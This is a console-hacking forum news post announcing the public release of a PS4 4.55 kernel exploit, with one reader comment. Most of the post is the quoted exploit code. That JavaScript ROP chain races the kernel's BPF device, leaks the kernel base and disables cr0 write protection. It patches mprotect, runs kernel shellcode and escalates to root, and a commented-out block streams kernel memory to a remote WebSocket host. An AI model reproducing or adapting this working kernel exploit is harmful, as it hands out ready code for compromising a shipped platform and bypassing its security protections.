Category PS4 Jailbreaking       Thread starter PSXHAX       Start date Feb 26, 2018 at 4:25 PM       77,100       200            
Status
Not open for further replies.
Following the PS4 4.05 Kernel Exploit, news of his PS4 5.00 Kernel Bug, confirmation of achieving PS4 5.00 Kernel Code Exec and his recent PlayStation 4 Dev Hints today popular hacker Qwertyoruiopz released a PS4 4.55 Kernel Exploit publicly! :love:

This comes after his JailBreakMe PS4 4.0x Webkit Exploit release followed by the Userland Exploit Breakdown, so while those on PS4 4.06 and 4.07 OFW can make use of the new kernel exploit for 4.50 and 4.55 users it will be up to PlayStation 4 scene developers to bridge the required userland exploit gap to the 4.55 kernel exploit.

Until then, based on the PS4 Game Minimum Firmware Version requirement lists according to notzecoxao some new PlayStation 4 games should surface soon in PKG format including Nioh, Nier, Hitman (latest update) and Persona 5. (y)

To quote from the hax455.txt:

Code:
function stage4_()
{
    function malloc(sz)
    {
        var backing = new Uint8Array(1000+sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }
    function malloc32(sz)
    {
        var backing = new Uint8Array(0x1000+sz*4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
        p.write8(where_writeptr_strcpy, ptr);
        for (var i = 0; i < str.length; i++)
            strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
        strcpy_helper[str.length] = 0;
    }
 
 
    var sysctlbyname = window.libKernelBase.add32(0xF290);
    var sysreq = malloc32(0x10);
    sysreq.backing[0] = 7;
    sysreq.backing[1] = 0;
    sysreq.backing[4] = 0x10;
 
    var retv = malloc(0x100);
    var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
 
 
    var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
 
    var str = "";
    for (var i=0; i<0x10; i++)
    {
        str += zeroFill(retv.backing[i].toString(16),2) + " ";
    }
 
   // log("psid: " + str)
 
    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
        print("kexp failed: no bpf0");
    }
//    print("fd: " + fd);
 
    var scratch = malloc(0x100);
    var ifname = malloc(0x10);
    strcpy(ifname, "wlan0");
    p.syscall("ioctl", fd, 0x8020426c, ifname);
    var ret = p.syscall("write", fd, scratch, 40);
    if (ret.low == (-1 >>> 0))
    {
        strcpy(ifname, "eth0");
        p.syscall("ioctl", fd, 0x8020426c, ifname);
        var ret = p.syscall("write", fd, scratch, 40);
        if (ret.low == (-1 >>> 0))
        {
            throw "kexp failed :(";
        }
    }
 
    var assertcnt = 0;
    var assert = function(x)
    {
        assertcnt++;
        if (!x) throw "assertion " + assertcnt + " failed";
    }

    print("got it");
 
    var bpf_valid = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 64)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
 
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_valid_u32[i++] = 6; // BPF_RET
        bpf_valid_u32[i++] = 0;
    }
 
    var bpf_invalid = malloc32(0x4000);
    var bpf_invalid_u32 = bpf_invalid.backing;
    var bpf_invalid_prog = malloc(0x40);
    p.write8(bpf_invalid_prog, 64)
    p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
 
    for (var i = 0 ; i < 0x4000; )
    {
        bpf_invalid_u32[i++] = 4; // NOP
        bpf_invalid_u32[i++] = 0;
    }
 
    var push_bpf = function(bpfbuf, cmd, k)
    {
        var i = bpfbuf.i;
        if (!i) i=0;
        bpfbuf[i*2] = cmd;
        bpfbuf[i*2+1] = k;
        bpfbuf.i = i+1;
    }
 
    push_bpf(bpf_invalid_u32, 5, 2); // jump
    push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
    bpf_invalid_u32.i = 16;

    var bpf_write8imm = function(bpf, offset, imm)
    {
        if (!(imm instanceof int64))
        {
            imm = new int64(imm,0);
        }
        push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset); // BPF_ST
        push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
        push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
    }
 
    var bpf_copy8 = function(bpf, offset_to, offset_from)
    {
        push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to); // BPF_ST
        push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
        push_bpf(bpf, 2, offset_to+1); // BPF_ST
    }
    var bpf_add4 = function(bpf, offset, val)
    {
        push_bpf(bpf, 0x60, offset); // BPF_LD
        push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
        push_bpf(bpf, 2, offset); // BPF_ST
    }
 
 
 
    var krop_off_init = 0x1e;
    var krop_off = krop_off_init;
    var reset_krop = function() {
        krop_off = krop_off_init;
        bpf_invalid_u32.i = 16;
    }
    var push_krop = function(value)
    {
        bpf_write8imm(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var push_krop_fromoff = function(value)
    {
        bpf_copy8(bpf_invalid_u32, krop_off, value);
        krop_off += 2;
    }
    var finalize_krop = function(retv)
    {
        if(!retv) retv = 5;
        push_bpf(bpf_invalid_u32, 6, retv); // return 5
    }

    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);
 
    rtv = p.syscall("write", fd, scratch, 40);
    assert(rtv.low == (-1 >>> 0));
 
    var kscratch = malloc32(0x80);
 
    var kchain = new window.RopChain();
 
    kchain.clear();
    kchain.push(window.gadgets["ret"]);
    kchain.push(window.gadgets["ret"]);
    kchain.push(window.gadgets["ret"]);
    kchain.push(window.webKitBase.add32(0x3EBD0));

    reset_krop();
    //push_krop(window.gadgets["infloop"]); // 8
    bpf_copy8(bpf_invalid_u32, 0, 0x1e);
    push_krop(window.gadgets["pop rsi"]); // 0x10
    push_krop_fromoff(0);
    push_krop(window.gadgets["pop rsp"]);
    push_krop(kchain.ropframeptr); // 8

    finalize_krop(0);
 
    var spawnthread = function(chain) {
   
        /*
    
    
         seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
         seg000:00000000007FA7D0 55                                      push    rbp
         seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA7D4 41 56                                   push    r14
         seg000:00000000007FA7D6 53                                      push    rbx
         seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
         seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
         seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
    
    
         -> xref of sub_7FA7D0:
    
    
         seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
         seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
         seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
         seg000:00000000007F8395 31 F6                                   xor     esi, esi
         seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
         seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
         seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
         seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
    
         -> code:
    
         m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
    
    
         decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
    
         decodingFailed -> contains longjmp (which we want)
    
         seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
         seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
         seg000:00000000007FA710 55                                      push    rbp
         seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
         seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
         seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
         seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
         seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
         seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
         seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
         seg000:00000000007FA732 0F 0B                                   ud2
         seg000:00000000007FA732                         sub_7FA710      endp
    
    
         */
        var longjmp = webKitBase.add32(0x1458);
   
   
        // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
        /*
         seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
         seg000:00000000001DD186 31 F6                                   xor     esi, esi
         seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40 < createThread
         */
   
        var createThread = window.webKitBase.add32(0x116ED40);
   
        var contextp = malloc32(0x2000);
        var contextz = contextp.backing;
        contextz[0] = 1337;
   
        var thread2 = new RopChain();
        thread2.clear();
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        thread2.push(window.gadgets["ret"]); // nop
        chain(thread2);
   
        p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
        p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
   
        p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
   
        window.nogc.push(contextz);
        window.nogc.push(thread2);
   
        return thread2;
    }
 
    var interrupt1 = 0;
    var interrupt2 = 0;
    // ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
    spawnthread(function(thread2){
                interrupt1 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_valid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
           
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })
 
    // ioctl() with invalid BPF program -> this will be executed when triggering bug
    spawnthread(function(thread2){
                interrupt2 = thread2.ropframeptr;
                thread2.push(window.gadgets["pop rdi"]); // pop rdi
                thread2.push(fd1); // what
                thread2.push(window.gadgets["pop rsi"]); // pop rsi
                thread2.push(0x8010427B); // what
                thread2.push(window.gadgets["pop rdx"]); // pop rdx
                thread2.push(bpf_invalid_prog); // what
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr.add32(0x800)); // what
                thread2.count = 0x100;
                var cntr = thread2.count;
                thread2.push(window.syscalls[54]); // ioctl
                thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
           
                thread2.push(window.gadgets["pop rsp"]); // pop rdx
                thread2.push(thread2.ropframeptr); // what
                })

    function kernel_rop_run(cb)
    {
        kchain.clear();
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.gadgets["ret"]);
        cb(kchain);
        kchain.push(window.gadgets["pop rax"]);
        kchain.push(0);
        kchain.push(window.gadgets["ret"]);
        kchain.push(window.webKitBase.add32(0x3EBD0));
        while(1)
        {
            if (p.syscall(4, fd, scratch, 40).low == 40)
            {
                return p.read8(kscratch);
                break;
            }
        }
    }
    function leak_kern_rip() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rsi"]);
                              });
    }
 
    function kernel_read8(addr) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(addr);
                              kchain.push(window.webKitBase.add32(0x13A220)); // deref
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
    function kernel_memcpy(to,from,size) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(to);
                              kchain.push(window.gadgets["pop rsi"]);
                              kchain.push(from);
                              kchain.push(window.gadgets["pop rdx"]);
                              kchain.push(size);
                              kchain.push(window.gadgets["memcpy"]);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
    var kern_base = leak_kern_rip();
    kern_base.low &= 0xffffc000;
    kern_base.low -= 0x164000;
    log("ay! " + kernel_read8(kern_base) + " " + kern_base);
 
    /*
    var chunksz = 0x40000;
    var pagebuf = malloc(chunksz);
 
    connection = new WebSocket('ws://192.168.0.125:8080');
    connection.binaryType = "arraybuffer";
    connection.onmessage = function() {
        try {
            kernel_memcpy(pagebuf, kern_base, chunksz);
            connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
            kern_base.add32inplace(chunksz);
        }catch(e) {log(e);}
    }
 
 
     LOAD:FFFFFFFF9144CF70 0F 20 C0                                mov     rax, cr0
     LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00                       or      rax, 5002Ah
     LOAD:FFFFFFFF9144CF79 0F 22 C0                                mov     cr0, rax
     LOAD:FFFFFFFF9144CF7C C3                                      retn
     FFFFFFFF91562A58
     */
    var getset_cr0 = kern_base.add32(0x280f70);
    var set_cr0 = kern_base.add32(0x280f79);
 
    function kernel_get_cr0() {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(getset_cr0);
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }

    var cr0val = kernel_get_cr0();
    cr0val.low &= ((~(1 << 16)) >>> 0);
    log("cr0: " + cr0val);
    function kernel_write8_cr0(addr, val) {
        return kernel_rop_run(function(kchain)
                              {
                              kchain.push(window.gadgets["pop rax"]);
                              kchain.push(cr0val);
                              kchain.push(set_cr0);
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(addr);
                              kchain.push(window.gadgets["pop rax"]);
                              kchain.push(val);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              kchain.push(getset_cr0);
                              });
    }
    function kernel_fcall(addr, arg0, arg1) {
        return kernel_rop_run(function(kchain)
                              {
                              if(arg0)
                              {
                                    kchain.push(window.gadgets["pop rdi"]);
                                    kchain.push(arg0);
                              }
                              if(arg1)
                              {
                                    kchain.push(window.gadgets["pop rsi"]);
                                    kchain.push(arg1);
                              }
                              kchain.push(addr);
                         
                              kchain.push(window.gadgets["pop rdi"]);
                              kchain.push(kscratch);
                              kchain.push(window.gadgets["mov [rdi], rax"]);
                              });
    }
 
    var mprotect_patchloc = kern_base.add32(0x396a58);
    var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
    var mprotect_realbytes = mprotect_patchbytes;
 
    log("patchbytes: " + mprotect_patchbytes);
    mprotect_patchbytes.low = 0x90909090;
    mprotect_patchbytes.hi &= 0xffff0000;
    mprotect_patchbytes.hi |= 0x00009090;
 
 
    var shellsize = window.shellcode.byteLength;
    shellsize += 0x4000;
    shellsize &= 0xffffc000;
 
    var shellscratch_to = malloc32((0x10000 + shellsize)/4);
 
    var origin_to = shellscratch_to.low;
    shellscratch_to.low &= 0xffffc000;
    shellscratch_to.low += 0x8000;
    var offset = (shellscratch_to.low - origin_to) / 4;
 
    for (var i=0; i < window.shellcode.length; i++)
    {
        shellscratch_to.backing[i+offset] = window.shellcode[i];
    }
 
 
    kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
    var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
    kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
    if (mapz.low != 0) throw "mprot fail!";

    faultme = shellscratch_to.add32(0x0);

    for (var i=0; i < window.shellcode.length; i+= 0x1000)
    {
        var bck = p.read8(faultme);
        p.write8(faultme, 0xc3)
        p.fcall(faultme); // test faulting
        p.write8(faultme, bck)
    }
    p.syscall("mlock", shellscratch_to, shellsize);
    var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));

    var zarguments = malloc32(0x1000);
    p.write8(zarguments, kern_base);
    p.write8(zarguments.add32(8), fd_kcall);
    p.write8(zarguments.add32(16), interrupt1);
    p.write8(zarguments.add32(24), interrupt2);
    p.write8(zarguments.add32(32), window.syscalls[431]);
    p.write8(zarguments.add32(40), window.syscalls[591]);
    p.write8(zarguments.add32(48), window.syscalls[594]);
    p.write8(zarguments.add32(56), pyld_buf); // pyld
    p.write8(zarguments.add32(64), window.pyldpoint);
    p.write8(zarguments.add32(72), window.pyld.byteLength);

    var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;

    log(p.read8(shellscratch_to.add32(window.entrypoint)));
    log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
    p.syscall("setuid", 0);
    log("uid: " + p.syscall("getuid"));
    alert("enter user");
    log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));

    var lsscrtch32 = new Uint32Array(0x400);
    var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
    window.ls = function(path)
    {
        var sep = "/"
        if (path[path.length-1]=="/") sep = "";
   
        var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
        if (fd == (-1 >>> 0))
        {
            print("open("+path+"): -1");
            return;
        }
   
        alert("getdenv");
   
        print("Directory listing for " +path+":");
        var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
        if (total == (-1 >>> 0))
        {
            print("getdents("+path+"): -1");
            return;
        }
   
        alert("got denv");
   
        var offset = 0;
        while (offset < total)
        {
            var cur = lsscrtch.add32(offset);
            var reclen = p.read4(cur.add32(4)) & 0xFFFF;
            var filepath = path + sep + p.readstr(cur.add32(8));
            print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
            offset += reclen;
            if(!reclen) break;
        }
        p.syscall("close", fd);
    }
    print("<a href=javascript:window.ls('/');>ls /</a>");

}
Cheers to @B7U3 C50SS, @bonusball, @Chaos Kid, @hyndrid, @MaSsAcReuR and @tnt2005 in the PSXHAX Shoutbox for all the news tips today! :beer:
PS4 4.55 Kernel Exploit is Officially Released by Qwertyoruiopz!.jpg
 

Comments

Status
Not open for further replies.

ayobhd07

Member
Contributor
qwertyoruiop Tweeted:

@blackjack4it not correct. this is right now good for 4.06 and 4.07 (since my public webkit doesn't work on 4.55..), and it can be good up to (including) 4.55. anything higher than 4.55 requires a different exploit

 
Status
Not open for further replies.
Recent Articles
Sony PS4 Remote Play: Now on More Devices Latest Promo Video
Proceeding the PSPlay Free Trial of the unofficial Android app and yesterday's Google Stadia release that includes 22 Stadia Launch Titles, today Sony unleashed their latest PS4 Remote Play - Now...
Baikal Support Added to PlayStation 4 Linux Loader by Valeery
Since the PSXITArch Linux v2 Guide, Spine PS4 Emulator for Linux Demo, CECPS4 Linux Scripts and PS4 Gentoo Linux development updates support for the Baikal chip was recently added to the...
PS5 DualShock 5 (DS5) Controller Images Surface in Japanese Patent
Following Sony's New Controller Patent, PS5 Devkit Prototype Leak and recent PS5 Transition Update in preparation for the PlayStation 5 2020 Launch today some PS5 DualShock 5 (DS5) Controller...
PlayStation Black Friday & Cyber Monday 2019 Deals Revealed!
We've seen the 2019 Black Friday Ad Scans featuring a $199 PS4 Bundle with 3 Games or PSVR Bundle with 5 Games and today Sony revealed their official PlayStation Black Friday & Cyber Monday 2019...
Top